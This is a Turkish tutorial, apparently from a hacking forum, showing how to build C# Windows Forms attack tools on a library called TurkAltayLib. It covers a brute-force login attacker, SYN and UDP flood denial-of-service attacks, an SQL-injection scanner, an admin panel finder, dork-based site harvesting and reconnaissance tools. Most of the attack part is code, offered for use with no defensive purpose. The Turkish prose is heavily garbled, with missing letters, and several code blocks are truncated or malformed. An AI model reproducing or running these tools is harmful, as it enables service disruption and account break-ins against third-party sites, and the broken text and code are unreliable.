Professional Documents
Culture Documents
Türk-Altay Kütüphanesi Kullanımı
Türk-Altay Kütüphanesi Kullanımı
Türk-Altay Kütüphanesi Kullanımı
0)
Kütüphanede Bulunan Araçlar:
-Dork Maker
-Arama Motoru
-Brute Force
-Denial of Service
-SQL Açık Tara a
-Admin Panel Bulucu
-We Araçları (Crawler, Reverse IP, Reverse DNS, Port Kontrol)
Türk-Altay kütüphanesini kullanmak için projemize TurkAltayLib.dll adlı dos a ı ekle e iz
gerekmektedir.
Bu u içi proje izde ge ellikle sağ tarafta ulu a Solution Explorer menüsünde
References’a sağ tıkla ıp Add Reference diyoruz.
Ardı da Browse menüsünden Browse apıp TurkAltayLib.dll dos ası ı seçi oruz. Ardı da
proje izi so görü ü ü aşağıdaki gi i ola aktır.
Türk-Altay Kütüpha esi İle Dork Maker Yapı ı
Projemize 3 adet textbox ve 1 adet buton ekli oruz. . Te t o a dorkları, 2. Textboxa dork
adedi i aza ağız. Buto a ası a . Te t o a dorkları ız oluşa ak.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.DorkMaker;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
Burada Thread kulla a ızı ede i Thread kulla adığı ız za a progra ı ara üzü de
do alar aşa ıla ile eğidir.
DorkUret(String dork, int adet, String site) Dork üret e fo ksi o u uzu ge el kulla ı ı
a daki gi idir. Eğer iste irse site dorku da kulla ıla ilir. (ör: US)
Progra ı çalıştırdığı ızda utto a asıldığı da dorkları ız oluş aktadır.
Türk-Altay Kütüpha esi İle Ara a Motoru Yapı ı
Projemize 2 adet textbox, 1 adet button, 1 adet label ve 1 adet timer ekleyelim. 1. Textboxa
taranacak dorkları gire eğiz, uto a ası a dorklar tara ıp siteler . Te t o a aktarıla ak.
Ti er ile de işle üzdesi i la el’a aktara ağız. Ti er’ı i ter alı isteğe ağlı olarak
a arla a ilir. s olarak a arladıkta so ra kodları ızı so şekli aşağıdaki gi i ol aktadır.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.AramaMotoru;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
AramaMotoru arama = new AramaMotoru();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
Thread thread = new Thread(new ThreadStart(tara));
CheckForIllegalCrossThreadCalls = false;
thread.Start();
timer1.Start();
}
public void tara()
{
textBox2.Text = arama.SiteTara(textBox2.Text, true, 1, 10, 60000);
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = arama.IslemYuzdesi();
}
}
}
Burada Thread kulla a ızı ede i Thread kulla adığı ız za a progra ı ara üzü de
do alar aşa ıla ile eğidir.
SiteTara(String dork, Boolean uzantisizLink, int minKanal, int maxKanal, int zamanAsimi)
Projemize 4 adet textbox, 2 adet label, 1 adet button ve 1 adet timer ekli oruz. Bu ları
göre leri aşağıdaki gi i ola aktır.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.BruteForce;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
BruteForce bf = new BruteForce();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
bf.BruteForceBaslat(textBox1.Text, textBox2.Text, textBox3.Text, 1);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = bf.Loglar();
label2.Text = bf.Islenen();
textBox4.Text = bf.SifresiKirilan();
}
}
}
BruteForceBaslat(String siteler, String kullanici, String sifre, int yontem, int
zamanAsimi, Boolean rastgeleUserAgent)
o te değişke i i aparsa ız arsa ıla a arda rute for e apa aktır. Eğer aparsa ız .
ö te i kulla arak rute for e apa aktır.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.DenialOfService;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
TCPFlood tcp = new TCPFlood();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
tcp.SynFloodBaslat(tcp.SiteIpBul(textBox1.Text),
Convert.ToInt32(textBox2.Text), (int) numericUpDown1.Value, (int) numericUpDown2.Value,
(int)numericUpDown3.Value, 0);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = tcp.Loglar();
label2.Text = tcp.Islenen();
}
}
}
SynFloodBaslat(String hedef, int port, int paketBoyutu,int threadSayisi, int
socketSayisi, int beklemeSuresi, Boolean rastgelePort, Boolean rastgelePaketBoyutu)
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
UDPFlood udp = new UDPFlood();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
udp.SeriSaldiriBaslat(udp.SiteIpBul(textBox1.Text),
Convert.ToInt32(textBox2.Text), (int) numericUpDown1.Value, (int) numericUpDown2.Value,
(int)numericUpDown3.Value, 0);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = udp.Loglar();
label2.Text = udp.Islenen();
}
}
}
UDP Senkronize Saldırı:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.DenialOfService;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
UDPFlood udp = new UDPFlood();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
udp.SenkronizeSaldiriBaslat(udp.SiteIpBul(textBox1.Text),
Convert.ToInt32(textBox2.Text), (int) numericUpDown1.Value, (int) numericUpDown2.Value,
(int)numericUpDown3.Value, 0);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = udp.Loglar();
label2.Text = udp.Islenen();
}
}
}
udp.SeriSaldiriBaslat(…
udp.SenkronizeSaldiriBaslat(…
Türk-Altay Kütüpha esi İle SQL Açık Tarayı ı Yapı ı
Projemize 2 adet textbox, 3 adet label, 1 adet button ve 1 adet timer ekliyoruz.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.SqlScanner;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
SQLScanner sql = new SQLScanner();
public Form1()
{
InitializeComponent();
}
SQL açık tara a fo ksi o u u ge el kulla ı ı ukarıdaki gi idir. hata iGoster değişke i i
arsa ıla değeri false’dur.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.AdminPanelBulucu;
namespace WindowsFormsApplication4
{
public partial class Form1 : Form
{
AdminPanelBulucu ap = new AdminPanelBulucu();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
ap.AdminPanelBul(textBox1.Text, true);
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = ap.Loglar();
label2.Text = ap.Islenen();
textBox2.Text = ap.PanelBulunan();
}
}
}
AdminPanelBul(String siteler, Boolean hizliTarama, String paneller)
Projemizin kodları:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TurkAltayLib.WebAraclari;
namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
Crawler crawler = new Crawler();
public Form1()
{
InitializeComponent();
}
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.WebAraclari;
namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
ReverseIP reverse = new ReverseIP();
public Form1()
{
InitializeComponent();
}
}
public void Reverse()
{
textBox2.Text = reverse.ReverseIPSorgula(textBox1.Text);
}
private void timer1_Tick(object sender, EventArgs e)
{
label1.Text = reverse.Loglar();
}
}
}
Burada Thread kulla a ızı ede i Thread kulla adığı ız za a progra ı ara üzü de
do alar aşa ıla ile eğidir.
Progra ı ız çalıştırıldığı da so uç aşağıdaki gi i ol aktadır:
Re erse DNS Ara ı Yapı ı
Projemize 2 adet textbox, 1 adet label, 1 adet button ve 1 adet timer ekliyoruz.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.WebAraclari;
namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
ReverseDNS reversedns = new ReverseDNS();
public Form1()
{
InitializeComponent();
}
}
}
Re erse DNS sorguladığı ızda:
Port Ko trol Ara ı Yapı ı
Projemize 2 adet textbox, 2 adet label, 1 adet button ve 1 adet timer ekliyoruz.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using TurkAltayLib.WebAraclari;
namespace WindowsFormsApplication5
{
public partial class Form1 : Form
{
PortKontrol portkontrol = new PortKontrol();
public Form1()
{
InitializeComponent();
}
}
}
Ör ek ir sitede port ko trol ettiği izde:
TurkHackTeam.org